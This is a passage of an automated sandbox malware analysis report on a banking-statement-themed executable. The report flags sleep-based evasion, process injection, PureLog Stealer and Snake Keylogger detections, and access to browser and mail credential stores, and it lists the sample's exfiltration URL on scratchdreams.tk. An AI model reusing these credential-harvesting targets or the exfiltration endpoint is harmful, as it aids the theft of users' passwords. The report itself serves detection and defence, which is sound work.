Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -593110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -592961s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -591563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -591422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -591313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -591188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -591063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -590938s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596310	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596197	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595591	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595366	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595196	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 592961	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591563	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591422	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591313	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591188	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591063	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 590938	Jump to behavior

Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3220287888.0000000000C87000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Code function: 3_2_0662BE28 LdrInitializeThunk,

3_2_0662BE28

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Memory written: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27964d0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29803a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29823c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.297f390.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2002086129.0000000006C00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980117407.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980117407.0000000002813000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27964d0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29803a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29823c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.297f390.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2002086129.0000000006C00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980117407.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980117407.0000000002813000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Halkbank_Ekstre_20230426_075819_154055.exe	56%	Virustotal		Browse
Halkbank_Ekstre_20230426_075819_154055.exe	45%	ReversingLabs	Win32.Ransomware.Loki
Halkbank_Ekstre_20230426_075819_154055.exe	100%	Avira	HEUR/AGEN.1352067
Halkbank_Ekstre_20230426_075819_154055.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
reallyfreegeoip.org	2%	Virustotal	Browse
scratchdreams.tk	17%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://tempuri.org/DataSeta.xsd)Microsoft	0%	Avira URL Cloud	safe
https://scratchdreams.tk	100%	Avira URL Cloud	malware
https://scratchdreams.tk/_send_.php?TS	100%	Avira URL Cloud	malware
https://reallyfreegeoip.org/xml/191.96.150.225	0%	Avira URL Cloud	safe
http://scratchdreams.tk	17%	Virustotal		Browse
https://scratchdreams.tk	18%	Virustotal		Browse
http://scratchdreams.tk	100%	Avira URL Cloud	malware
http://tempuri.org/DataSeta.xsd)Microsoft	2%	Virustotal		Browse
https://scratchdreams.tk/_send_.php?TS	16%	Virustotal		Browse
https://reallyfreegeoip.org/xml/191.96.150.225$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	172.67.177.134	true	false	2%, Virustotal, Browse	unknown
scratchdreams.tk	104.21.27.85	true	false	17%, Virustotal, Browse	unknown
checkip.dyndns.com	132.226.247.73	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/191.96.150.225	false	Avira URL Cloud: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DataSeta.xsd)Microsoft	Halkbank_Ekstre_20230426_075819_154055.exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://scratchdreams.tk	Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B6B000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
